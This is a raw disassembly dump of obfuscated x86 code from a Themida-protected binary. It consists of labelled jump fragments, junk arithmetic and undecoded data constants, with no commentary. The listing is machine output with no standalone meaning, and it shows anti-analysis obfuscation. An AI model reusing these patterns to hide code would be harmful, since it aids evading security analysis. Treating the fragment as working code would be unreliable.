0C5E92404h db 0DDh, 2 dup(0) ; --------------------------------------------------------------------------- loc_596A6F: ; CODE XREF: Themida_:005964AAj mov edi, 4 mov ecx, edi jmp loc_5A10B0 ; --------------------------------------------------------------------------- db 58h dd 8B66CE08h, 0CFE9240Ch, 0FF0000AEh, 0E9042474h, 8550h dd 4577F681h, 0C6813989h, 5C112672h, 4B3F68h, 243C8900h dd 0FFFFFFBFh, 5FFE29FFh, 1640BB53h, 0EB8156E6h, 8B7ECE0h dd 4E5BDE31h, 0FFDB24E9h db 0FFh ; --------------------------------------------------------------------------- loc_596AC1: ; CODE XREF: Themida_:005A2197j mov ebx, 3EDC7341h sub eax, ebx pop ebx push 4B37h mov [esp], ecx mov ecx, 4A3301D7h sub eax, 66CD7BFEh add eax, ecx add eax, 66CD7BFEh jmp loc_59ACB3 ; --------------------------------------------------------------------------- db 0BBh dd 4DC7343Bh, 815BD931h, 0C33427E9h, 59C8014Dh, 0FFD6F3E9h dd 0E9C101FFh, 0FFFFA21Fh, 4C481h, 8CE90000h db 9Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_596B0F: ; CODE XREF: Themida_:005A39E1j pop esp jmp loc_59AE21 ; --------------------------------------------------------------------------- db 1, 0F9h, 0E9h dd 5F42h ; --------------------------------------------------------------------------- loc_596B1C: ; CODE XREF: Themida_:005931C1j pop eax push 553Dh mov [esp], esi xor dword ptr [esp], 3B3C5DC1h pop ebp push eax mov eax, 6BD86A9Ch neg eax or eax, 1479699Bh or eax, 507B5167h push ecx mov ecx, 4C273F3h jmp loc_5A07A3 ; --------------------------------------------------------------------------- dw 0ED81h dd 6CAD6929h, 0C581F501h, 6CAD6929h, 8124348Bh, 4C4h, 0EAE95500h db 0C9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_596B67: ; CODE XREF: Themida_:0059B9E8j pop eax shr ebp, 6 jmp loc_5A3AC1 ; --------------------------------------------------------------------------- dd 8124048Fh, 42404h, 685E0000h, 0F6Fh, 0B8240489h, 4 dd 666CC681h, 0C6013383h, 666CEE81h, 34FF3383h, 2434FF24h dd 4C48358h, 7699E9h, 4E6C000h, 2822C680h, 0E95A66F3h dd 409Ch ; --------------------------------------------------------------------------- loc_596BB4: ; CODE XREF: Themida_:005A3E3Ej sub ebx, edi pop edi push ebp mov ebp, 6FF4768Eh add ebp, 42E2505Fh jmp loc_599111 ; --------------------------------------------------------------------------- loc_596BC8: ; CODE XREF: Themida_:005955D0j push 46887583h mov eax, [esp] add esp, 4 push ebp jmp loc_5944D4 ; --------------------------------------------------------------------------- loc_596BDC: ; CODE XREF: Themida_:0059F099j add edi, 4 add edi, 4 xchg edi, [esp] pop esp push 542Ah mov [esp], ecx push dword ptr [esp+4] jmp loc_599A3B ; --------------------------------------------------------------------------- dw 0F380h dd 6BB4500Fh, 0EC80DCF6h, 58E3280Eh, 8046C380h, 0EB8048E3h dd 558DE901h, 0CE010000h, 0EC835159h, 2CFCE904h, 895C0000h dd 6AE92414h, 0FE000023h, 0C0CBFEC3h, 0F38004EBh, 8BDE28CFh dd 0E4E9241Ch db 53h, 2 dup(0) ; --------------------------------------------------------------------------- loc_596C3F: ; CODE XREF: Themida_:00595547j push edx mov edx, 34CC3D87h not edx shr edx, 2 jmp loc_59FAFF ; --------------------------------------------------------------------------- byte_596C4F db 66h ; DATA XREF: Themida_:00590884o dd 52240C8Bh, 0FFDA2CE9h, 0E9FD01FFh, 0CC1Bh, 0EC81D831h dd 4, 89243489h, 4C681E6h, 0E9000000h, 0E486h, 0D15FF829h dd 9C7C35E0h, 0C2011F6Dh, 0D685E958h, 0F181FFFFh, 13532602h dd 0B734E9h db 0 ; --------------------------------------------------------------------------- loc_596C95: ; CODE XREF: Themida_:0059E98Ej or ebx, 1A3D7784h jmp loc_596395 ; --------------------------------------------------------------------------- dd 8B2434FFh, 89562404h, 4C681E6h, 0E9000000h, 0FFFFD5D0h dd 0F20350B9h, 0FFE98350h, 3F54F181h, 0D1F7506Ch, 1777C181h dd 89E936E6h, 890000C9h, 4C581E5h, 83000000h, 2C8704C5h dd 83505C24h, 248904ECh, 80E95024h db 0E3h, 2 dup(0) byte_596CEB db 0FFh ; DATA XREF: Themida_:0059080Co dd 669D1C77h, 241CD259h, 9DA1E99Ch, 75BFFFFFh, 0E90AFC0Bh dd 0FFFFFF55h, 0E404DB04h, 0E42CD800h, 4DBB652h, 0E9F02853h dd 0FFFFCA6Ch, 4C481h, 0FA010000h, 2C2815Fh, 33000000h dd 14312414h, 0C693E924h, 3C8B0000h, 4C48324h, 0FFC43EE9h dd 0BD555EFFh, 11F7337Ah, 0F708E5C1h, 0A8C581D5h, 0E950E259h dd 0DF7Ah, 0C581E589h, 4, 8704C583h, 248B242Ch, 0E2895224h dd 4B850h, 0BB530000h, 75B439ECh, 15BDA29h, 0ECC281C2h dd 0E975B439h, 5762h, 5C240487h, 5A44E9h, 52C33100h, 8575E9h db 0 ; --------------------------------------------------------------------------- loc_596D95: ; CODE XREF: Themida_:0059E425j add ebx, 727615A0h add ebx, ecx sub ebx, 727615A0h pop ecx mov ecx, ebx mov ebx, [esp] add esp, 4 xor edi, ecx pop ecx add ebp, edi jmp loc_591C8D ; --------------------------------------------------------------------------- db 0BEh, 18h, 3Eh dd 0F23124B1h, 0BBD2E9h, 0FF575C00h, 5F042474h, 8B24048Fh dd 1C892424h, 0EC815624h, 4, 83242489h, 8B042404h, 0C4812434h dd 4, 4C681h, 0EE810000h, 4, 0E9243487h, 0FFFFE76Ch ; --------------------------------------------------------------------------- loc_596E00: ; CODE XREF: Themida_:00594C96j mov esp, [esp] mov edx, [esp] add esp, 4 loc_596E09: ; CODE XREF: Themida_:005A0743j push ecx sub esp, 4 mov [esp], esp jmp loc_599EBA ; --------------------------------------------------------------------------- a7TS db 'º°7Ô;)T$',8,'é¾Û',0 db 0 ; --------------------------------------------------------------------------- loc_596E23: ; CODE XREF: Themida_:005A3EADj sub eax, 25A41CF7h mov edi, [esp] add esp, 4 sub [edi+24h], eax jmp loc_5959D6 ; --------------------------------------------------------------------------- loc_596E39: ; CODE XREF: Themida_:005A4B6Cj sub edx, 4FF25952h sub edx, 1D2522F0h pop edi mov ecx, edx pop edx jmp loc_592AF7 ; --------------------------------------------------------------------------- dw 575Fh dd 8E1241BFh, 0C78117h, 14E754Ch, 0E9525FF9h, 0A277h dword_596E64 dd 24048B66h, 47E2E955h, 14890000h, 0E95A5424h, 77E3h ; DATA XREF: Themida_:0059087Co dd 289FC281h, 0DA014801h, 2573E9h, 26800h, 15D0000h, 242C8BEEh dd 0E904EC83h, 0AA8Bh ; --------------------------------------------------------------------------- loc_596E98: ; CODE XREF: Themida_:005A2FABj mov bl, cl pop ecx jmp loc_5983C3 ; --------------------------------------------------------------------------- dd 3046C281h, 0FA29104Ah, 3046EA81h, 0C281104Ah, 166A29A6h dd 81243C8Bh, 4C4h, 24143300h, 33241431h, 248B2414h, 240C8924h dd 0AC368h, 24148900h, 4B13CD68h, 0CA815A3Fh, 36D45E6Ah dd 5FEDEA81h, 7BE93FDFh, 81FFFFAEh, 4C4h, 1C6F2100h, 0E9242C8Bh dd 0FFFFB4D9h, 4C581h, 0C5830000h, 242C8704h, 0DC6FE9h db 0 ; --------------------------------------------------------------------------- loc_596F0D: ; CODE XREF: Themida_:005A2099j xchg ebx, esi push edx push esi pop edx pop esi push 443Ch jmp loc_5926FF ; --------------------------------------------------------------------------- db 81h, 0CDh, 0B6h dd 8102E324h, 970717F5h, 0E9E88903h, 9ED1h, 632D685Fh dd 348B4E33h, 4C48324h, 8158C629h, 135B17EAh, 6FEA8145h dd 161370Eh, 6FC281F2h, 5161370Eh, 8B07E9h db 0 ; --------------------------------------------------------------------------- loc_596F59: ; CODE XREF: Themida_:0059C9AEj mov ah, 0FAh and cl, ah mov eax, [esp] jmp loc_59B8A0 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 0C8B665Ch, 4EC8124h, 89000000h, 0EC812404h, 4, 81242489h dd 4ECh, 49B8E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_596F8A: ; CODE XREF: Themida_:0059FC63j add ebx, 4 xchg ebx, [esp] pop esp or ebx, ebx jnz loc_59D0E9 push ebx jmp loc_5A0A26 ; --------------------------------------------------------------------------- db 5Ch dd 50241C89h, 88D78853h, 88525BF8h, 695068C6h, 4890000h dd 0E9F08824h, 3C9Eh, 524248Bh, 4, 7B0BE9h, 40500h, 4330000h dd 24043124h, 0E9240433h, 2542h, 4EC81h, 14890000h, 0A7B95124h dd 494F4C04h, 3416E181h, 37E94B37h db 68h, 2 dup(0) ; --------------------------------------------------------------------------- loc_596FF7: ; CODE XREF: Themida_:0059C76Ej sub al, 0Ch add al, bl push dx mov dl, 0Ch add al, dl pop dx sub al, 64h jmp loc_5933E0 ; --------------------------------------------------------------------------- dw 0D986h dd 0FEA9B753h, 80CFFECFh, 0F780D4C7h, 0EF8016h, 665BF900h dd 0E912E068h, 781Ch, 0C1EFD158h, 0DFF706E7h, 0FFA67CE9h db 0FFh ; --------------------------------------------------------------------------- loc_597035: ; CODE XREF: Themida_:0059B531j push edi mov edi, 7E9910A5h mov ebp, 8166EF5Fh add ebp, edi jmp loc_5A5814 ; --------------------------------------------------------------------------- aPirs db 'P‰àé¸Î',0 dw 6800h dd 2ACAh, 0E9243C89h, 9D4Bh ; --------------------------------------------------------------------------- loc_59705C: ; CODE XREF: Themida_:0059AE1Cj mov esi, [esp] jmp loc_59385A ; --------------------------------------------------------------------------- dd 0FFFFFFB9h, 1CD005FFh, 0C80145A5h, 5685E9h db 0 ; --------------------------------------------------------------------------- loc_597075: ; CODE XREF: Themida_:00598B25j mov esi, 4CEC776Ah add [esp+4], esi mov esi, [esp] add esp, 4 pop eax push 3FCDh mov [esp], ebp mov ebp, 4CEC776Ah push ebx mov ebx, 1999374Ch push ebx not dword ptr [esp] pop ebx jmp loc_59C581 ; --------------------------------------------------------------------------- dw 1C89h dd 288CB724h, 0EEE95BF9h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5970AF: ; CODE XREF: Themida_:0059F0BAj add ebx, edi push eax mov eax, 41734507h inc eax and eax, 4297122Fh jmp loc_59E57D ; --------------------------------------------------------------------------- dw 0C381h dd 322E6F33h, 95BDE31h, 0E95E1C77h, 0FFFF99C7h ; --------------------------------------------------------------------------- loc_5970D4: ; CODE XREF: Themida_:005A4F16j push ebx push 4E507D9Bh mov ebx, [esp] add esp, 4 xor ebx, 37A56B71h not ebx push eax jmp loc_5A5264 ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 4240481h, 5E000000h, 4BD5552h, 89000000h, 0C6815DEAh dd 53C87856h, 0EE81D601h, 53C87856h, 4EC835Ah, 68241C89h dd 2, 97EE815Bh, 103B70Ah, 9EC0E9DEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_59712E: ; CODE XREF: Themida_:005915D2j mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp add ebp, 55B3370Ch sub ebp, 119C0A90h add ebp, edx add ebp, 119C0A90h sub ebp, 55B3370Ch pop edx xchg ebp, [esp] mov esp, [esp] jmp loc_5987CA ; --------------------------------------------------------------------------- db 0C3h byte_597169 db 52h, 68h, 1Ah ; DATA XREF: Themida_:005907B8o dd 0E9000034h, 836Bh, 0E9243489h, 18B5h, 0BAF5E953h, 0EF31FFFFh dd 0D7F7FD31h, 0FFC331E9h db 0FFh ; --------------------------------------------------------------------------- loc_59718D: ; CODE XREF: Themida_:005931DCj mov edx, [esp] add esp, 4 jmp loc_59CAE4 ; --------------------------------------------------------------------------- dd 4EC81h, 2C890000h, 2474FF24h, 48F5D04h, 0E0E0E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5971AE: ; CODE XREF: Themida_:0059C584j or ebx, 2DCD3F02h jmp loc_59E616 ; --------------------------------------------------------------------------- db 1, 0EFh, 0E9h dd 0FFFF9CF7h, 7C376855h, 815D1125h, 5FCADC5h, 5DEF8969h dd 1E9FB89h, 89FFFFE1h, 0CCB82404h, 0E916002Fh, 0E188h dd 7CEBF581h, 0C5812A8Dh, 1C4841Dh, 15DEB31h, 3A35E9D8h dd 0C4810000h, 4, 148B5452h, 11E95724h, 8100003Ah, 4C2h dd 4EA8100h, 33000000h, 0CCE92414h, 56FFFFF0h, 1481B951h dd 89E92134h, 2Fh, 805A66D3h, 0EC83F4EBh, 24148904h, 2008E9h dd 49E95700h, 1000056h, 8B042454h, 89502414h, 405E0h, 4050000h dd 87000000h, 248B2404h, 24048B24h, 81E38953h, 4C3h, 4C38100h dd 87000000h, 248B241Ch, 0AB2E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59727A: ; CODE XREF: Themida_:005A2D88j add esi, 359F323Fh pop ebp push edx mov edx, 4 jmp loc_59A95E ; --------------------------------------------------------------------------- loc_59728C: ; CODE XREF: Themida_:0059DD17j xor ebx, esi push esi jmp loc_59C996 ; --------------------------------------------------------------------------- aFzsG db 'fZé/£',0 db 0 ; --------------------------------------------------------------------------- loc_59729B: ; CODE XREF: Themida_:00592F6Dj push 45DCh mov [esp], ecx push eax mov al, dh mov cl, al pop eax mov bh, cl pop ecx mov edx, [esp] add esp, 4 push ecx push edx mov dh, bh jmp loc_5A01F4 ; --------------------------------------------------------------------------- dw 6C81h dd 75310824h, 5429521Bh, 55560824h, 1B7531BDh, 5DEE8952h dd 0C247401h, 1F02E9h db 0 ; --------------------------------------------------------------------------- loc_5972DD: ; CODE XREF: Themida_:00590E55j not ecx dec ecx not ecx or ecx, 2F3D3BACh xor ecx, 40B37192h and edx, ecx jmp loc_5A19CB ; --------------------------------------------------------------------------- db 0B9h, 0D8h, 2Fh dd 0E9813E2Eh, 1D4F0784h, 0B1685553h, 5D565E65h, 8B0B850h dd 0C52932F7h, 0FFC58358h, 4D0E956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59731A: ; CODE XREF: Themida_:00594982j sub esp, 4 mov [esp], edi jmp loc_59CAB9 ; --------------------------------------------------------------------------- dd 5DEF895Eh, 0C783DFF7h, 5BEF81FFh, 0E933C588h, 0FFFFAECFh ; --------------------------------------------------------------------------- loc_59733C: ; CODE XREF: Themida_:005A43FDj push dword ptr [esp+4] mov eax, [esp] jmp loc_5A06D9 ; --------------------------------------------------------------------------- dd 0A37AC2B8h, 47DF3501h, 0E8C16E34h, 51D0F702h, 1A30B7B9h dd 59C829E4h, 6858C201h, 1844h, 4051E9h, 24043100h, 0FFF39BE9h db 0FFh ; --------------------------------------------------------------------------- loc_597375: ; CODE XREF: Themida_:0059FDF6j add ebp, 11B72D4h pop edx shl ebp, 6 or ebp, 22156CBDh shr ebp, 4 add ebp, 37A17AC1h xor ebp, 519145C5h sub ebx, 2146F17h sub ebx, 71A64192h sub ebx, ebp add ebx, 71A64192h jmp loc_5950A4 ; --------------------------------------------------------------------------- db 81h, 0EAh, 0B4h dd 5F632A72h, 8B241487h, 1C892424h, 0E872BB24h, 0BF573132h dd 4837F1h, 2D5FF829h, 40D764EDh, 0CD68E9h, 24348700h dd 2414895Ch, 8B2414F6h, 0C4832414h, 5FFFE904h, 0E2C00000h dd 0DC0AE903h, 0E6C1FFFFh, 6DF68104h, 812A456Fh, 3C8852F6h dd 0E9F589EFh, 6B78h ; --------------------------------------------------------------------------- loc_597408: ; CODE XREF: Themida_:00597C40j add esi, 48075024h jmp loc_59FBB6 ; --------------------------------------------------------------------------- loc_597413: ; CODE XREF: Themida_:005A1D4Ej shr al, 3 neg al jmp loc_593521 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0E9000000h, 0FFFFC562h ; --------------------------------------------------------------------------- loc_597428: ; CODE XREF: Themida_:0059A2E8j mov ebx, ecx pop ecx add edi, ebx mov ebx, [esp] jmp loc_5A3488 ; --------------------------------------------------------------------------- db 0B9h, 0E1h, 1Bh dd 0D1F743D4h, 0D7B2BE56h, 0F1319672h, 59C8015Eh, 0FFAEB2E9h dd 242C89FFh, 847FE950h, 34870000h, 24248B24h, 66E9F766h dd 6677E468h, 66241489h, 2CE99C50h db 96h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59746F: ; CODE XREF: Themida_:00593547j pop ebx add al, cl mov ecx, [esp] add esp, 4 jmp loc_59F5DA ; --------------------------------------------------------------------------- dd 2B608635h, 2DD8F712h, 0BEBB9311h, 48BC621h, 4C48324h dd 39A468h, 243C8900h, 720039BFh, 7FCF816Ah, 505D7D7Ch dd 752E0EB8h, 54ACE95Eh, 0E9810000h, 6236319Bh, 4EC81h dd 2C890000h, 200DBD24h, 0DDF7290Fh, 0B8504545h, 0AF33D15Fh dd 64DAC581h, 0C5293D31h, 64DAED81h, 1583D31h, 0E9815DE9h dd 0FE3A37BAh, 8159CF31h, 0CA7BB3C1h, 81F90116h, 0CA7BB3E9h dd 3680E916h, 0D3890000h, 4406E9h, 5DEF0100h, 7257E9h dd 2BE0BE00h, 0EEE944C1h, 0B9FFFF96h, 4, 18C8E9h, 9575E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_597526: ; CODE XREF: Themida_:005A0DDCj mov [esp], esi jmp loc_591E1D ; --------------------------------------------------------------------------- dw 3C89h dd 4BF24h, 7C010000h, 3C8B0424h, 9C23E924h, 34890000h dd 0E95E5424h, 909Ch, 4354BA52h, 84E97663h, 100004Dh, 0D6BDE9C6h dd 8F5D0000h, 0D1E92404h, 54FFFFB4h, 0AFC9E95Ah, 30BDFFFFh dd 81574E48h, 8C13E3F5h, 0E4C58149h, 0E928CE75h, 1DE4h ; --------------------------------------------------------------------------- loc_597584: ; CODE XREF: Themida_:0059F7BFj mov esp, [esp] add esp, 4 sub esp, 4 mov [esp], esi jmp loc_59EC2E ; --------------------------------------------------------------------------- loc_597595: ; CODE XREF: Themida_:0059496Cj or edx, edi mov edi, [esp] jmp loc_594971 ; --------------------------------------------------------------------------- byte_59759F db 0FFh ; DATA XREF: Themida_:00590850o dd 669D1C77h, 4196658h, 0ECE99C24h, 0B8FFFF94h, 0A4BDA433h dd 39E9C731h db 50h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5975BB: ; CODE XREF: Themida_:0059D11Dj pop dword ptr [eax] add dword ptr [eax], 12AC71C2h push dword ptr [esp] mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], edx push esp pop edx add edx, 4 add edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] jmp loc_590A9B ; --------------------------------------------------------------------------- dd 0E9240C8Bh, 0FFFFCA95h, 0BF57D3F7h, 6FEE4724h, 525FFB09h dd 30FBBAh, 3E2C13Dh, 0D2F7D2F7h, 1577CA81h, 0EAC12162h dd 5AEA8106h, 1F3A46Eh, 0D91DE9D3h, 8966FFFFh, 0EC81243Ch dd 2, 24348966h, 0EDBA6652h, 0B9E5E9EEh, 49B90000h, 17DBB68h dd 0C38159CBh, 275C4EE2h, 761CEB81h, 0DA896C6Fh, 0E9D7015Bh dd 3478h ; --------------------------------------------------------------------------- loc_597660: ; CODE XREF: Themida_:00594195j pop esp add esp, 4 sub dword ptr [esp+4], 44274868h add dword ptr [esp+4], 0AF939C1h add [esp+4], edx sub dword ptr [esp+4], 0AF939C1h jmp loc_594372 ; --------------------------------------------------------------------------- dd 4C4815Ah, 81000000h, 0DD0E0DC1h, 0FFC1833Eh, 0E509E981h dd 37E925B7h db 0CEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5976A3: ; CODE XREF: Themida_:0059778Ej push 66EDh jmp loc_593DD3 ; --------------------------------------------------------------------------- loc_5976AD: ; CODE XREF: Themida_:005A4A16j not dl sub dl, 71h push ebx mov bl, 9Bh jmp loc_5A30C4 ; --------------------------------------------------------------------------- dw 3489h dd 4BE24h, 3BE90000h, 81000038h, 4C1h, 4C18300h, 5C240C87h dd 57E768h, 24148900h, 57E08950h, 6433DBBFh, 6D6CE97Bh dd 0C310000h, 240C3324h, 0E924248Bh, 0CF2Bh ; --------------------------------------------------------------------------- loc_5976F8: ; CODE XREF: Themida_:0059B96Fj add esp, 4 jmp loc_5929F2 ; --------------------------------------------------------------------------- loc_597700: ; CODE XREF: Themida_:005961A6j mov [esp], eax push esp pop eax jmp loc_599566 ; --------------------------------------------------------------------------- dw 8CE9h db 93h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59770F: ; CODE XREF: Themida_:005A3816j push dword ptr [esp] mov esi, [esp] push ebx jmp loc_597C6A ; --------------------------------------------------------------------------- byte_59771B db 66h ; DATA XREF: Themida_:00590A08o dd 50240C8Bh, 0B9515854h, 4, 5156552Dh, 5C8013Ah, 3A515655h dd 81240C8Bh, 4C4h, 0C9CCE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_597742: ; CODE XREF: Themida_:0059D851j sub edx, 4 xchg edx, [esp] pop esp mov [esp], eax mov eax, esp add eax, 4 add eax, 4 jmp loc_5941DC ; --------------------------------------------------------------------------- db 29h, 0F3h, 5Eh aBScJhum db 'ËécÎJhUM',0 dw 0E900h dd 0FFFFBB37h ; --------------------------------------------------------------------------- loc_597770: ; CODE XREF: Themida_:0059EC6Aj mov ecx, 0AB772A6h push ebx mov ebx, 774C3A7Dh jmp loc_5A15BC ; --------------------------------------------------------------------------- loc_597780: ; CODE XREF: Themida_:005A4862j mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] jmp loc_5976A3 ; --------------------------------------------------------------------------- db 59h dd 5724048Fh, 4BFh, 247C0100h, 7AE95F04h, 81FFFFFDh, 0E504246Ch dd 2972EA58h, 0E9042444h, 9631h ; --------------------------------------------------------------------------- loc_5977B8: ; CODE XREF: Themida_:00594640j sub ebp, 0B1C73BC9h xor ebx, ebp pop ebp xor ebx, 0CDCA6026h add ecx, 1005214h jmp loc_59E406 ; --------------------------------------------------------------------------- dw 0F480h dd 8BE20039h, 0C4812404h, 4, 201CF280h, 474FE9D0h, 0A2BE0000h dd 3119EA4Bh, 9472E9F5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5977F6: ; CODE XREF: Themida_:0059459Dj mov esp, [esp] push esi mov esi, esp add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] pop esi jmp loc_5A4ECD ; --------------------------------------------------------------------------- db 81h dd 620706C3h, 81C30101h, 620706EBh, 0C1EB8101h, 0FF0AE803h dd 50E92434h db 0D0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59782F: ; CODE XREF: Themida_:0059514Fj pop esi sub [edi+24h], ebp push dword ptr [esp] jmp loc_599279 ; --------------------------------------------------------------------------- db 81h dd 412606C5h, 6CC58121h, 5A00BC70h, 0C7168h, 242C8900h dd 42474FFh, 0FF2434FFh, 525D2434h, 0FFE053E9h, 62B951FFh dd 836D2452h, 0C8904ECh, 3AEB6824h, 0C8B02E9h, 4386E924h dd 0EC810000h, 4, 0B0240489h, 0CD0F615h, 53C1040Eh, 3AE9C788h dd 0BF000048h, 0A9E44CFh, 10D3C781h, 0FD01BA2Bh, 0E9EB295Fh dd 0F85h ; --------------------------------------------------------------------------- loc_5978A8: ; CODE XREF: Themida_:005A2564j add edi, 5B4B292Bh add edi, 31B45B2Ch sub edi, 4EC31005h sub edi, 0DF9C9E7Fh or edi, 72F96093h shr edi, 5 add edi, 3B0274A4h add edi, 0C0FDBF72h add ebp, edi jmp loc_5A59CC ; --------------------------------------------------------------------------- dd 1DEF814Fh, 89564704h, 0F6815FFEh, 38B711B2h, 0F68CC681h dd 0F3018BD9h, 7EBC15Eh, 0E891F381h, 0D831143Bh, 9F4EE95Bh dd 0F681FFFFh, 110D6511h, 24148756h, 2414F752h, 19A8E9h dd 24048F00h, 8124248Bh, 4C4h, 0C8B70F00h, 546A68h, 6E08E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_597932: ; CODE XREF: Themida_:005A1455j push ebx mov ebx, 77065142h xor ebx, 627B7160h inc ebx sub ebx, 0CB74D0E7h jmp loc_595079 ; --------------------------------------------------------------------------- loc_59794A: ; CODE XREF: Themida_:00594144j xor ebp, 73051BB5h add eax, ebp pop ebp add eax, 4 xchg eax, [esp] pop esp push ebx push 23F9h jmp loc_59D685 ; --------------------------------------------------------------------------- loc_597965: ; CODE XREF: Themida_:0059846Bj add eax, 1 neg eax sub eax, 22654B8Eh push ecx mov ecx, 92226A11h add eax, ecx pop ecx push edx mov edx, 5D2F4570h sub ebp, edx jmp loc_595839 ; --------------------------------------------------------------------------- loc_597987: ; CODE XREF: Themida_:0059BE66j pop edi push edx jmp loc_5983AC ; --------------------------------------------------------------------------- loc_59798E: ; CODE XREF: Themida_:00599143j mov edx, 6F170E93h jmp loc_59685F ; --------------------------------------------------------------------------- dd 0CF25DF05h, 2DE82963h, 63CF25DFh, 57D0F75Dh, 0A03151BFh dd 2EFC172h, 4276EF81h, 0EF814472h, 6FC301A2h, 6BD2F781h dd 0F7814A18h, 0B84D4B6h, 534FD7F7h, 0CC7AADBBh, 5BDF0118h dd 8107E7C1h, 140DB9E7h, 45C78159h, 113E1CBh, 8B505FF8h dd 0C4832434h, 0F0015804h, 8124348Bh, 4C4h, 0C8DCE900h db 2 dup(0FFh) word_5979FE dw 32FFh ; DATA XREF: Themida_:005908D0o dd 0FF9096E9h, 243C89FFh, 515B3668h, 0B9515F08h, 30E8B451h dd 5759CF31h, 26F3E9h db 0 ; --------------------------------------------------------------------------- loc_597A1D: ; CODE XREF: Themida_:005926A5j mov ecx, esp push edx push 4 jmp loc_59CA4C ; --------------------------------------------------------------------------- aS6 db ']é6Ê',0 align 10h dd 875FFA01h, 248B2414h, 4EC8124h, 89000000h, 0E6892434h dd 4E4FE957h, 48F0000h, 24048124h, 4, 4B95158h, 1000000h dd 240C8BC8h, 4C481h, 0AEE90000h, 5CFFFFC3h, 8B24048Fh dd 4812424h, 495D2D24h, 0C98FE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_597A7E: ; CODE XREF: Themida_:005A5251j mov edi, 411C0FEBh jmp loc_596117 ; --------------------------------------------------------------------------- dd 51241489h, 554144B9h, 6E9C167h, 1E2568h, 24348900h dd 807821BEh, 7EEC17Fh, 5605E94Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_597AAA: ; CODE XREF: Themida_:0059E58Cj pop eax pop edi pop dword ptr [eax] jmp loc_590A9B ; --------------------------------------------------------------------------- db 89h dd 0F9E9241Ch, 0C1FFFFD1h, 0EDC107EDh, 82CD8106h, 8162D436h dd 8A3494E5h, 3EDC140h, 89B7C581h, 0E901FA53h, 0FFDE78E9h db 0FFh ; --------------------------------------------------------------------------- loc_597ADD: ; CODE XREF: Themida_:005990EFj add ebp, 4 push edi mov edi, 5A9567F3h not edi add edi, 570B65B4h not edi xor edi, 38A023Bh add ebp, edi pop edi xchg ebp, [esp] jmp loc_59DFC1 ; --------------------------------------------------------------------------- dd 0FE24248Bh, 0E99C2404h, 0FFFF97B3h, 7444F581h, 0A3E95270h db 19h, 2 dup(0) ; --------------------------------------------------------------------------- loc_597B1B: ; CODE XREF: Themida_:0059A296j add edx, 4 add edx, 4 jmp loc_59C4C7 ; --------------------------------------------------------------------------- dd 4812EA81h, 0B9E95592h db 9, 2 dup(0) byte_597B37 db 0FFh ; DATA XREF: Themida_:005907D0o dd 669D1C77h, 241CD359h, 0ABA5E99Ch db 2 dup(0FFh) aMs db '¬é>š',0 ; DATA XREF: Themida_:00590928o align 4 dd 62217AB8h, 58C32134h, 46BA5256h, 0D15B3628h, 0F7F281E2h dd 89967205h, 0BFA3E9D6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_597B6A: ; CODE XREF: Themida_:0059297Ej add [esp+4], edx pop edx push dword ptr [esp] mov ecx, [esp] jmp loc_59C5B0 ; --------------------------------------------------------------------------- loc_597B7A: ; CODE XREF: Themida_:005A50A3j pop esp or eax, eax jnz loc_59CAFB push 1 push dword ptr [esp] mov edx, [esp] add esp, 4 push edi push 48A3h mov [esp], esp add dword ptr [esp], 4 pop edi push eax push 6EE010FBh pop eax push eax not dword ptr [esp] pop eax push edx mov edx, 5E0B17F7h jmp loc_597F94 ; --------------------------------------------------------------------------- db 0FEh, 0CFh, 0C0h dd 0B25208E7h, 5AD70845h, 0C038EF80h, 0EF8008EFh, 0E9D7F6FFh dd 0D3B4h, 5BEEC181h, 0E98103F1h, 3B842190h, 7186E981h dd 0E95E2081h, 0FFFFF3F0h, 48BC201h, 4C48124h, 29000000h dd 42EA81C2h, 814A464Bh, 0D02B23C2h, 5CBD5529h, 29068947h dd 2434FFEAh, 552E685Dh, 3C890000h, 686EE924h, 0E2880000h dd 585AD188h, 8124148Bh, 4C4h, 0A5DDE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_597C32: ; CODE XREF: Themida_:0059274Ej sub ecx, 0BE762BC8h sub esi, 48075024h add esi, ecx jmp loc_597408 ; --------------------------------------------------------------------------- db 81h, 4, 24h dd 4, 4C2815Ah, 0E9000000h, 13F2h, 4F3A66BDh, 246C313Dh dd 348B5D04h, 403E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_597C6A: ; CODE XREF: Themida_:00597716j mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esi push 632Dh mov [esp], esp add dword ptr [esp], 4 pop esi jmp loc_597EDB ; --------------------------------------------------------------------------- dw 0BD55h dd 4ABA2F58h, 0C5814D45h, 5D6541EDh, 0FFA355E9h, 7B622DFFh dd 1C8B59B8h, 0CBF4E924h, 8680000h, 0E9000019h, 10A2h dd 0C800CEB1h, 240C8B66h, 72C3E9h, 3E2D5E00h, 0C133683Ah dd 433506E8h, 815EDDACh, 431B5AC5h, 81C52979h, 431B5AEDh 